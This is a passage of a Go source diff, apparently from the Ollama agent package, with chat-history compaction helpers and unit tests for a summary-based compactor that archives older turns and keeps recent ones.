return estimateCompactionTokens(string(data))
|
||||
}
|
||||
|
||||
total := estimateMessagesTokens(requestMessages)
|
||||
total += estimateCompactionTokens(req.Tools.String())
|
||||
total += estimateCompactionTokens(req.Format)
|
||||
return total
|
||||
}
|
||||
|
||||
func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
|
||||
requestMessages := sanitizeMessagesForRequest(messages)
|
||||
for i := range requestMessages {
|
||||
// Image token accounting is model-specific. Without the active model's
|
||||
// tokenizer and vision accounting, raw image bytes/base64 make the
|
||||
// estimate look much larger than the prompt the model actually sees.
|
||||
requestMessages[i].Images = nil
|
||||
}
|
||||
return requestMessages
|
||||
}
|
||||
|
||||
func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
|
||||
format = strings.TrimSpace(format)
|
||||
if format == "" {
|
||||
return nil, false
|
||||
}
|
||||
if format == "json" {
|
||||
return json.RawMessage(`"json"`), true
|
||||
}
|
||||
if !json.Valid([]byte(format)) {
|
||||
return nil, false
|
||||
}
|
||||
return json.RawMessage(format), true
|
||||
}
|
||||
|
||||
func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
|
||||
messages := make([]api.Message, 0, len(archive))
|
||||
for _, msg := range archive {
|
||||
msg.Thinking = ""
|
||||
msg.Images = nil
|
||||
messages = append(messages, msg)
|
||||
}
|
||||
return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
|
||||
}
|
||||
|
||||
func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
|
||||
payload, err := json.MarshalIndent(messages, "", " ")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshal compaction messages: %w", err)
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
if strings.TrimSpace(previousSummary) != "" {
|
||||
b.WriteString("Previous summary:\n")
|
||||
b.WriteString(strings.TrimSpace(previousSummary))
|
||||
b.WriteString("\n\n")
|
||||
}
|
||||
b.WriteString("Messages to archive as JSON:\n")
|
||||
b.Write(payload)
|
||||
return b.String(), nil
|
||||
}
|
||||
|
||||
func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
|
||||
if maxTokens <= 0 {
|
||||
return messages
|
||||
}
|
||||
fitted := append([]api.Message(nil), messages...)
|
||||
for range 16 {
|
||||
body, err := renderCompactionPrompt(previousSummary, fitted)
|
||||
if err != nil || estimateCompactionTokens(body) <= maxTokens {
|
||||
return fitted
|
||||
}
|
||||
|
||||
idx := largestCompactionContentMessage(fitted)
|
||||
if idx < 0 {
|
||||
return fitted
|
||||
}
|
||||
overageTokens := estimateCompactionTokens(body) - maxTokens
|
||||
currentRunes := len([]rune(fitted[idx].Content))
|
||||
nextRunes := currentRunes - overageTokens*4 - 256
|
||||
if nextRunes >= currentRunes {
|
||||
nextRunes = currentRunes / 2
|
||||
}
|
||||
fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
|
||||
}
|
||||
return fitted
|
||||
}
|
||||
|
||||
func largestCompactionContentMessage(messages []api.Message) int {
|
||||
idx := -1
|
||||
size := 0
|
||||
for i, msg := range messages {
|
||||
n := len([]rune(msg.Content))
|
||||
if n > size {
|
||||
idx = i
|
||||
size = n
|
||||
}
|
||||
}
|
||||
return idx
|
||||
}
|
||||
|
||||
func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
|
||||
if keepUserTurns < 0 {
|
||||
keepUserTurns = defaultCompactionKeepUserTurns
|
||||
}
|
||||
|
||||
start := 0
|
||||
for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
|
||||
prefix = append(prefix, messages[start])
|
||||
start++
|
||||
}
|
||||
|
||||
candidates := make([]api.Message, 0, len(messages)-start)
|
||||
for i := start; i < len(messages); i++ {
|
||||
msg := messages[i]
|
||||
if isCompactionSummary(msg) {
|
||||
previousSummary = CompactionSummaryText(msg.Content)
|
||||
continue
|
||||
}
|
||||
if isCompactionToolCall(msg) {
|
||||
if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
|
||||
previousSummary = CompactionSummaryText(messages[i+1].Content)
|
||||
i++
|
||||
}
|
||||
continue
|
||||
}
|
||||
candidates = append(candidates, msg)
|
||||
}
|
||||
|
||||
userTurnIndexes := make([]int, 0, keepUserTurns)
|
||||
for i := len(candidates) - 1; i >= 0; i-- {
|
||||
if candidates[i].Role == "user" {
|
||||
userTurnIndexes = append(userTurnIndexes, i)
|
||||
}
|
||||
}
|
||||
keptUserTurns = keepUserTurns
|
||||
if len(userTurnIndexes) <= keptUserTurns {
|
||||
keptUserTurns = len(userTurnIndexes) - 1
|
||||
}
|
||||
if keptUserTurns < 0 {
|
||||
keptUserTurns = 0
|
||||
}
|
||||
|
||||
suffixStart := len(candidates)
|
||||
if keptUserTurns > 0 {
|
||||
suffixStart = userTurnIndexes[keptUserTurns-1]
|
||||
}
|
||||
if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
|
||||
return prefix, previousSummary, nil, nil, keptUserTurns, false
|
||||
}
|
||||
|
||||
return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
|
||||
}
|
||||
|
||||
func isCompactionToolName(name string) bool {
|
||||
return name == CompactionToolName
|
||||
}
|
||||
|
||||
func isCompactionSummary(msg api.Message) bool {
|
||||
return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
|
||||
strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
|
||||
}
|
||||
|
||||
// IsCompactionSummary reports whether msg uses the canonical compaction
|
||||
// summary message representation.
|
||||
func IsCompactionSummary(msg api.Message) bool {
|
||||
return isCompactionSummary(msg)
|
||||
}
|
||||
|
||||
// CompactionSummaryContent returns the user-visible summary from msg when it
|
||||
// is a canonical compaction summary.
|
||||
func CompactionSummaryContent(msg api.Message) (string, bool) {
|
||||
if !isCompactionSummary(msg) {
|
||||
return "", false
|
||||
}
|
||||
return CompactionSummaryText(msg.Content), true
|
||||
}
|
||||
|
||||
// IsCompactionToolResult reports whether msg is the synthetic tool result used
|
||||
// to represent compaction in message history.
|
||||
func IsCompactionToolResult(msg api.Message) bool {
|
||||
return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
|
||||
}
|
||||
|
||||
// IsCompactionToolCall reports whether msg is the synthetic assistant tool
|
||||
// call paired with a compaction summary result.
|
||||
func IsCompactionToolCall(msg api.Message) bool {
|
||||
return isCompactionToolCall(msg)
|
||||
}
|
||||
|
||||
func isCompactionToolCall(msg api.Message) bool {
|
||||
if msg.Role != "assistant" {
|
||||
return false
|
||||
}
|
||||
for _, call := range msg.ToolCalls {
|
||||
if isCompactionToolName(call.Function.Name) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// CompactionSummaryText reverses CompactionSummaryMessages, returning the
|
||||
// user-visible summary text with the prefix and any continuation instruction
|
||||
// removed.
|
||||
func CompactionSummaryText(content string) string {
|
||||
return strings.TrimSpace(strings.TrimSuffix(
|
||||
strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
|
||||
CompactionContinueInstruction,
|
||||
))
|
||||
}
|
||||
|
||||
func intOption(options map[string]any, key string) int {
|
||||
if options == nil {
|
||||
return 0
|
||||
}
|
||||
switch v := options[key].(type) {
|
||||
case int:
|
||||
return v
|
||||
case int64:
|
||||
return int(v)
|
||||
case float64:
|
||||
return int(v)
|
||||
case float32:
|
||||
return int(v)
|
||||
case json.Number:
|
||||
n, _ := v.Int64()
|
||||
return int(n)
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,816 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type compactionStore struct {
|
||||
chatID string
|
||||
keepUserTurns int
|
||||
summary string
|
||||
continueTask bool
|
||||
}
|
||||
|
||||
func (s *compactionStore) ArchiveForCompaction(_ context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
|
||||
s.chatID = chatID
|
||||
s.keepUserTurns = keepUserTurns
|
||||
s.summary = summary
|
||||
s.continueTask = continueTask
|
||||
return nil
|
||||
}
|
||||
|
||||
type scriptedCompactionClient struct {
|
||||
responses [][]api.ChatResponse
|
||||
errs []error
|
||||
requests []*api.ChatRequest
|
||||
}
|
||||
|
||||
func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
|
||||
c.requests = append(c.requests, req)
|
||||
i := len(c.requests) - 1
|
||||
if i < len(c.responses) {
|
||||
for _, response := range c.responses[i] {
|
||||
if err := fn(response); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
if i < len(c.errs) {
|
||||
return c.errs[i]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
|
||||
t.Helper()
|
||||
if len(messages) != 2 {
|
||||
t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
|
||||
}
|
||||
if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
|
||||
t.Fatalf("compaction assistant message = %#v", messages[0])
|
||||
}
|
||||
if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
|
||||
t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
|
||||
}
|
||||
if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
|
||||
t.Fatalf("compaction tool result = %#v", messages[1])
|
||||
}
|
||||
if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
|
||||
t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 2,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
messages := []api.Message{
|
||||
{Role: "system", Content: "stay pinned"},
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer", Thinking: "hidden"},
|
||||
{Role: "user", Content: "recent one"},
|
||||
{Role: "assistant", Content: "recent answer"},
|
||||
{Role: "user", Content: "recent two"},
|
||||
}
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: messages,
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
compacted := result.Messages
|
||||
if len(compacted) != 6 {
|
||||
t.Fatalf("compacted messages = %d, want 6", len(compacted))
|
||||
}
|
||||
if compacted[0].Content != "stay pinned" {
|
||||
t.Fatalf("first message = %#v", compacted[0])
|
||||
}
|
||||
if result.Summary != "summary" {
|
||||
t.Fatalf("result summary = %q", result.Summary)
|
||||
}
|
||||
assertCompactionSummaryPair(t, compacted[1:3])
|
||||
if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
|
||||
t.Fatalf("recent turns were not kept: %#v", compacted)
|
||||
}
|
||||
if store.chatID != "chat-1" || store.keepUserTurns != 2 || store.summary != "summary" || store.continueTask {
|
||||
t.Fatalf("archive call = %#v", store)
|
||||
}
|
||||
if len(client.requests) != 1 {
|
||||
t.Fatalf("summary requests = %d, want 1", len(client.requests))
|
||||
}
|
||||
if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
|
||||
t.Fatal("compaction prompt should omit thinking")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "small context summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: compactOnlySummaryContextTokens - 1,
|
||||
KeepUserTurns: 3,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
ContinueTask: true,
|
||||
Messages: []api.Message{
|
||||
{Role: "system", Content: "pinned"},
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "latest request"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 0 {
|
||||
t.Fatalf("keepUserTurns = %d, want 0 for small context", store.keepUserTurns)
|
||||
}
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
|
||||
}
|
||||
if result.Messages[0].Content != "pinned" {
|
||||
t.Fatalf("leading system message not kept: %#v", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[1:])
|
||||
if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
|
||||
t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
ContinueTask: true,
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Summary != "summary" {
|
||||
t.Fatalf("result summary = %q", result.Summary)
|
||||
}
|
||||
content := result.Messages[1].Content
|
||||
if !strings.Contains(content, CompactionContinueInstruction) {
|
||||
t.Fatalf("tool result missing continue instruction: %q", content)
|
||||
}
|
||||
if got := CompactionSummaryText(content); got != "summary" {
|
||||
t.Fatalf("visible summary text = %q", got)
|
||||
}
|
||||
if !store.continueTask || store.summary != "summary" {
|
||||
t.Fatalf("archive call = %#v", store)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
|
||||
longSummary := strings.Repeat("x", maxCompactionSummaryBytes+1024)
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: longSummary}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old one"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent one"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if len(result.Summary) > maxCompactionSummaryBytes {
|
||||
t.Fatalf("summary bytes = %d, want <= %d", len(result.Summary), maxCompactionSummaryBytes)
|
||||
}
|
||||
if !strings.HasSuffix(result.Summary, compactionSummaryTruncated) {
|
||||
t.Fatalf("summary missing truncation marker")
|
||||
}
|
||||
if store.summary != result.Summary {
|
||||
t.Fatalf("stored summary mismatch")
|
||||
}
|
||||
if !strings.Contains(result.Messages[1].Content, compactionSummaryTruncated) {
|
||||
t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
|
||||
client := &scriptedCompactionClient{
|
||||
responses: [][]api.ChatResponse{
|
||||
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
|
||||
{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
|
||||
},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted || result.Summary != "fallback summary" {
|
||||
t.Fatalf("compaction result = %#v", result)
|
||||
}
|
||||
if len(client.requests) != 2 {
|
||||
t.Fatalf("summary requests = %d, want 2", len(client.requests))
|
||||
}
|
||||
if client.requests[0].Think != nil {
|
||||
t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
|
||||
}
|
||||
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
|
||||
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
|
||||
client := &scriptedCompactionClient{
|
||||
responses: [][]api.ChatResponse{
|
||||
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
|
||||
nil,
|
||||
},
|
||||
errs: []error{
|
||||
nil,
|
||||
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
|
||||
},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Compacted || result.Reason != "summary was empty" {
|
||||
t.Fatalf("compaction result = %#v", result)
|
||||
}
|
||||
if len(client.requests) != 2 {
|
||||
t.Fatalf("summary requests = %d, want 2", len(client.requests))
|
||||
}
|
||||
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
|
||||
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
|
||||
client := &scriptedCompactionClient{
|
||||
responses: [][]api.ChatResponse{
|
||||
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
|
||||
nil,
|
||||
{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
|
||||
},
|
||||
errs: []error{
|
||||
nil,
|
||||
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
|
||||
nil,
|
||||
},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
thinkHigh := &api.ThinkValue{Value: "high"}
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
},
|
||||
Think: thinkHigh,
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted || result.Summary != "unset think summary" {
|
||||
t.Fatalf("compaction result = %#v", result)
|
||||
}
|
||||
if len(client.requests) != 3 {
|
||||
t.Fatalf("summary requests = %d, want 3", len(client.requests))
|
||||
}
|
||||
if client.requests[0].Think != thinkHigh {
|
||||
t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
|
||||
}
|
||||
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
|
||||
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
|
||||
}
|
||||
if client.requests[2].Think != nil {
|
||||
t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "short summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 3,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "latest request"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 1 {
|
||||
t.Fatalf("kept user turns = %d, want 1", store.keepUserTurns)
|
||||
}
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[:2])
|
||||
if result.Messages[2].Content != "latest request" {
|
||||
t.Fatalf("latest turn was not kept: %#v", result.Messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "whole summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 3,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "only request"},
|
||||
{Role: "assistant", Content: "only answer"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 0 {
|
||||
t.Fatalf("kept user turns = %d, want 0", store.keepUserTurns)
|
||||
}
|
||||
if len(result.Messages) != 2 {
|
||||
t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages)
|
||||
}
|
||||
|
||||
func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
|
||||
client := &fakeClient{}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
messages := []api.Message{
|
||||
{Role: "user", Content: "one"},
|
||||
{Role: "user", Content: "two"},
|
||||
{Role: "user", Content: "three"},
|
||||
{Role: "user", Content: "four"},
|
||||
{Role: "user", Content: "five"},
|
||||
}
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: messages,
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Compacted {
|
||||
t.Fatal("did not expect compaction")
|
||||
}
|
||||
if result.Due {
|
||||
t.Fatal("below-threshold compaction should not be due")
|
||||
}
|
||||
if len(result.Messages) != len(messages) {
|
||||
t.Fatalf("messages changed below threshold: %#v", result.Messages)
|
||||
}
|
||||
if len(client.requests) != 0 {
|
||||
t.Fatalf("summary requests = %d, want 0", len(client.requests))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "read large output"},
|
||||
{Role: "assistant", ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "read",
|
||||
},
|
||||
}}},
|
||||
{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Due || !result.Compacted {
|
||||
t.Fatalf("expected estimate-driven compaction, got %#v", result)
|
||||
}
|
||||
if result.Summary != "estimated summary" {
|
||||
t.Fatalf("summary = %q", result.Summary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
|
||||
compactor := NewSimpleCompactor(nil, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
if !compactor.shouldCompact(CompactionRequest{
|
||||
SystemPrompt: strings.Repeat("system ", 360),
|
||||
Messages: []api.Message{{Role: "user", Content: "tiny"}},
|
||||
}) {
|
||||
t.Fatal("system prompt should count toward compaction estimate")
|
||||
}
|
||||
|
||||
if !compactor.shouldCompact(CompactionRequest{
|
||||
Messages: []api.Message{{Role: "user", Content: "tiny"}},
|
||||
Tools: api.Tools{{
|
||||
Type: "function",
|
||||
Function: api.ToolFunction{
|
||||
Name: "verbose_tool",
|
||||
Description: strings.Repeat("description ", 360),
|
||||
},
|
||||
}},
|
||||
}) {
|
||||
t.Fatal("tool definitions should count toward compaction estimate")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
|
||||
largeToolOutput := strings.Repeat("x", 10_000)
|
||||
body, err := compactionPrompt("", []api.Message{
|
||||
{Role: "user", Content: "what changed?"},
|
||||
{Role: "assistant", ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
},
|
||||
}}},
|
||||
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
|
||||
}, 300)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if estimateCompactionTokens(body) > 300 {
|
||||
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
|
||||
}
|
||||
if strings.Count(body, "x") >= len(largeToolOutput) {
|
||||
t.Fatal("large tool output was not truncated")
|
||||
}
|
||||
if !strings.Contains(body, "[tool output truncated: showing first ~") {
|
||||
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
